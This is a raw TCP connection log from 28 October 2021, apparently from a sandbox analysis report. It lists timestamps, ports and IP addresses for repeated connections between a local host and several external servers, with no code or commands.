Oct 28, 2021 04:52:33.573520899 CEST	808	49956	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:33.573590040 CEST	49956	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:33.573611975 CEST	49956	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:33.576472044 CEST	49956	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:33.696257114 CEST	49959	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:33.698167086 CEST	808	49957	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:33.701469898 CEST	808	49957	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:33.701486111 CEST	808	49957	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:33.701560974 CEST	808	49957	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:33.701572895 CEST	808	49957	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:33.736967087 CEST	808	49956	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:33.861788988 CEST	6891	49959	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:33.862076044 CEST	49959	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:33.862792969 CEST	49959	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:34.028239965 CEST	6891	49959	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:34.028264046 CEST	6891	49959	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:34.028410912 CEST	49959	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:34.029438972 CEST	49959	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:34.036139965 CEST	49959	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:34.036374092 CEST	49959	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:34.084362984 CEST	808	49957	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:34.084391117 CEST	808	49957	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:34.084481955 CEST	49957	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:34.084525108 CEST	49957	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:34.092447996 CEST	49957	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:34.201627016 CEST	6891	49959	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:34.201661110 CEST	6891	49959	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:34.201685905 CEST	6891	49959	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:34.218473911 CEST	49962	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:34.250724077 CEST	808	49957	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:34.385967016 CEST	6891	49962	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:34.386120081 CEST	49962	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:34.387495995 CEST	49962	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:34.553880930 CEST	6891	49962	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:34.556822062 CEST	6891	49962	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:34.556947947 CEST	49962	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:34.557545900 CEST	49962	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:34.575109959 CEST	49962	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:34.575269938 CEST	49962	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:34.586606026 CEST	6891	49959	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:34.586632967 CEST	6891	49959	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:34.586729050 CEST	49959	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:34.589667082 CEST	49959	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:34.698816061 CEST	49965	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:34.741429090 CEST	6891	49962	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:34.741465092 CEST	6891	49962	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:34.747667074 CEST	8116	49965	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:34.747807026 CEST	49965	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:34.748799086 CEST	49965	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:34.754849911 CEST	6891	49959	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:34.797540903 CEST	8116	49965	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:34.797782898 CEST	8116	49965	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:34.797883987 CEST	49965	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:34.798707962 CEST	49965	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:34.805434942 CEST	49965	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:34.805650949 CEST	49965	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:34.854420900 CEST	8116	49965	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:34.854460001 CEST	8116	49965	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:34.855169058 CEST	8116	49965	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:35.027364969 CEST	8116	49965	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:35.027395964 CEST	8116	49965	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:35.027466059 CEST	49965	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:35.027493954 CEST	49965	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:35.030344009 CEST	49965	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:35.079082012 CEST	8116	49965	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:35.122261047 CEST	6891	49962	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:35.122308016 CEST	6891	49962	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:35.122378111 CEST	49962	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:35.122414112 CEST	49962	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:35.129949093 CEST	49962	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:35.166147947 CEST	49968	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:35.166188002 CEST	443	49968	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:35.166270018 CEST	49968	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:35.166883945 CEST	49968	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:35.166898012 CEST	443	49968	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:35.244313955 CEST	49969	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:35.296178102 CEST	6891	49962	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:35.298779964 CEST	8116	49969	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:35.298856974 CEST	49969	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:35.299488068 CEST	49969	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:35.353921890 CEST	8116	49969	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:35.354012966 CEST	8116	49969	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:35.354121923 CEST	49969	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:35.354758978 CEST	49969	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:35.359359980 CEST	49969	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:35.359538078 CEST	49969	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:35.413913965 CEST	8116	49969	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:35.414292097 CEST	8116	49969	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:35.584517002 CEST	8116	49969	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:35.584537029 CEST	8116	49969	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:35.584604025 CEST	49969	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:35.584650993 CEST	49969	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:35.599705935 CEST	49969	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:35.655242920 CEST	8116	49969	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:35.686779976 CEST	443	49968	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:35.686885118 CEST	49968	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:35.687345982 CEST	49968	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:35.687355042 CEST	443	49968	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:35.691463947 CEST	49968	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:35.691473961 CEST	443	49968	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:35.691636086 CEST	49968	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:35.691644907 CEST	443	49968	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:35.741090059 CEST	49972	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:35.741136074 CEST	443	49972	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:35.741230011 CEST	49972	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:35.742275953 CEST	49972	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:35.742288113 CEST	443	49972	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:36.233273983 CEST	443	49972	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:36.233392954 CEST	49972	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:36.234376907 CEST	49972	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:36.234394073 CEST	443	49972	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:36.237979889 CEST	49972	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:36.237997055 CEST	443	49972	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:36.238111973 CEST	49972	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:36.238137960 CEST	443	49972	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:36.399549961 CEST	443	49968	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:36.399625063 CEST	443	49968	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:36.399641991 CEST	49968	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:36.399689913 CEST	49968	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:36.401870966 CEST	49968	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:36.401891947 CEST	443	49968	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:36.527522087 CEST	49976	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:36.688294888 CEST	808	49976	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:36.688483953 CEST	49976	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:36.689481974 CEST	49976	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:36.850342035 CEST	808	49976	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:36.850470066 CEST	808	49976	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:36.850707054 CEST	49976	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:36.851227999 CEST	49976	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:36.854017019 CEST	49976	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:36.854101896 CEST	49976	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:36.931288958 CEST	443	49972	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:36.931418896 CEST	443	49972	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:36.931442976 CEST	49972	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:36.932482958 CEST	49972	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:36.945940018 CEST	49972	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:36.945980072 CEST	443	49972	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:37.011816025 CEST	808	49976	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:37.014566898 CEST	808	49976	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:37.014607906 CEST	808	49976	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:37.014635086 CEST	808	49976	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:37.062788963 CEST	49979	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:37.223097086 CEST	808	49979	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:37.223299026 CEST	49979	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:37.224147081 CEST	49979	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:37.384197950 CEST	808	49979	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:37.384248972 CEST	808	49979	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:37.384406090 CEST	49979	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:37.385199070 CEST	49979	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:37.392066956 CEST	49979	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:37.392235041 CEST	49979	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:37.406322002 CEST	808	49976	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:37.406363010 CEST	808	49976	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:37.406455994 CEST	49976	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:37.409621000 CEST	49976	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:37.409746885 CEST	49976	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:37.545175076 CEST	808	49979	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:37.552335024 CEST	808	49979	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:37.552362919 CEST	808	49979	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:37.552378893 CEST	808	49979	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:37.552396059 CEST	808	49979	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:37.570350885 CEST	808	49976	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:37.574920893 CEST	49980	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:37.741429090 CEST	6891	49980	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:37.741628885 CEST	49980	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:37.742923975 CEST	49980	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:37.909404039 CEST	6891	49980	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:37.909461975 CEST	6891	49980	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:37.909591913 CEST	49980	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:37.910305977 CEST	49980	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:37.914974928 CEST	49980	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:37.915096998 CEST	49980	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:37.930830002 CEST	808	49979	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:37.930877924 CEST	808	49979	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:37.930979013 CEST	49979	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:37.931019068 CEST	49979	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:37.939817905 CEST	49979	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:38.059166908 CEST	49983	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:38.081337929 CEST	6891	49980	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:38.081440926 CEST	6891	49980	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:38.099869967 CEST	808	49979	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:38.225611925 CEST	6891	49983	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:38.225760937 CEST	49983	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:38.226327896 CEST	49983	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:38.392538071 CEST	6891	49983	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:38.392585993 CEST	6891	49983	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:38.392707109 CEST	49983	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:38.393393040 CEST	49983	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:38.398552895 CEST	49983	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:38.398710012 CEST	49983	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:38.461348057 CEST	6891	49980	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:38.461369991 CEST	6891	49980	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:38.461539030 CEST	49980	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:38.467493057 CEST	49980	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:38.564940929 CEST	6891	49983	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:38.564966917 CEST	6891	49983	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:38.564976931 CEST	6891	49983	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:38.591167927 CEST	49985	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:38.633764029 CEST	6891	49980	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:38.644342899 CEST	8116	49985	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:38.644448042 CEST	49985	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:38.645895004 CEST	49985	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:38.701153994 CEST	8116	49985	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:38.701185942 CEST	8116	49985	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:38.701283932 CEST	49985	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:38.702199936 CEST	49985	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:38.705904961 CEST	49985	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:38.706021070 CEST	49985	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:38.759135962 CEST	8116	49985	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:38.759169102 CEST	8116	49985	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:38.943557978 CEST	8116	49985	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:38.943592072 CEST	8116	49985	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:38.943717957 CEST	49985	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:38.943768024 CEST	49985	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:38.945972919 CEST	49985	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:38.962666988 CEST	6891	49983	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:38.962692022 CEST	6891	49983	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:38.962752104 CEST	49983	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:38.962798119 CEST	49983	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:38.968851089 CEST	49983	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:38.998702049 CEST	8116	49985	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:39.094506979 CEST	49986	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:39.119138956 CEST	49987	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:39.119210958 CEST	443	49987	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:39.119338989 CEST	49987	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:39.120183945 CEST	49987	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:39.120210886 CEST	443	49987	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:39.135090113 CEST	6891	49983	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:39.144694090 CEST	8116	49986	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:39.144793034 CEST	49986	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:39.145324945 CEST	49986	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:39.195342064 CEST	8116	49986	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:39.195470095 CEST	8116	49986	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:39.195763111 CEST	49986	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:39.196382046 CEST	49986	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:39.202943087 CEST	49986	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:39.203130960 CEST	49986	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:39.253185034 CEST	8116	49986	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:39.253431082 CEST	8116	49986	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:39.253786087 CEST	8116	49986	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:39.444356918 CEST	8116	49986	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:39.444401979 CEST	8116	49986	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:39.444555044 CEST	49986	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:39.445261002 CEST	49986	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:39.451724052 CEST	49986	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:39.501821995 CEST	8116	49986	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:39.585614920 CEST	49988	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:39.585674047 CEST	443	49988	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:39.585747004 CEST	49988	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:39.587280989 CEST	49988	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:39.587306023 CEST	443	49988	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:39.612627029 CEST	443	49987	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:39.612737894 CEST	49987	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:39.615586042 CEST	49987	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:39.615602016 CEST	443	49987	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:39.623151064 CEST	49987	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:39.623171091 CEST	443	49987	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:39.623235941 CEST	49987	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:39.623250008 CEST	443	49987	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:40.108496904 CEST	443	49988	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:40.109278917 CEST	49988	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:40.109308004 CEST	49988	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:40.109327078 CEST	443	49988	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:40.112775087 CEST	49988	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:40.112883091 CEST	443	49988	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:40.112914085 CEST	49988	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:40.112931967 CEST	443	49988	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:40.314096928 CEST	443	49987	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:40.314186096 CEST	443	49987	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:40.314265013 CEST	49987	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:40.314287901 CEST	49987	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:40.317950010 CEST	49987	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:40.317977905 CEST	443	49987	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:40.435347080 CEST	49989	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:40.595274925 CEST	808	49989	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:40.597450972 CEST	49989	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:40.616674900 CEST	49989	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:40.775856972 CEST	808	49989	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:40.775998116 CEST	808	49989	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:40.776129961 CEST	49989	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:40.825499058 CEST	443	49988	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:40.825589895 CEST	443	49988	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:40.825746059 CEST	49988	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:41.272463083 CEST	49989	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:41.276572943 CEST	49989	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:41.276709080 CEST	49989	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:41.284470081 CEST	49988	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:41.284507990 CEST	443	49988	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:41.406128883 CEST	49990	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:41.431660891 CEST	808	49989	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:41.435619116 CEST	808	49989	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:41.435637951 CEST	808	49989	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:41.435653925 CEST	808	49989	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:41.572042942 CEST	808	49990	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:41.572144032 CEST	49990	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:41.573982000 CEST	49990	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:41.739500046 CEST	808	49990	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:41.739649057 CEST	808	49990	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:41.739744902 CEST	49990	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:41.744843006 CEST	49990	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:41.747484922 CEST	49990	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:41.747576952 CEST	49990	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:41.816111088 CEST	808	49989	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:41.816137075 CEST	808	49989	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:41.816293001 CEST	49989	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:41.820462942 CEST	49989	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:41.910379887 CEST	808	49990	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:41.913408041 CEST	808	49990	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:41.913429976 CEST	808	49990	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:41.913440943 CEST	808	49990	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:41.979775906 CEST	808	49989	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:42.293963909 CEST	808	49990	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:42.294002056 CEST	808	49990	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:42.295418024 CEST	49990	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:42.295454025 CEST	49990	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:42.331871986 CEST	49990	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:42.479829073 CEST	49991	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:42.482887983 CEST	49992	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:42.497447014 CEST	808	49990	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:42.646178007 CEST	6891	49991	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:42.646316051 CEST	49991	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:42.648134947 CEST	6891	49992	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:42.649542093 CEST	49992	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:42.651072979 CEST	49991	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:42.653006077 CEST	49992	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:42.817490101 CEST	6891	49991	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:42.817517042 CEST	6891	49991	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:42.817610979 CEST	49991	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:42.818274975 CEST	6891	49992	45.77.0.96	192.168.2.5
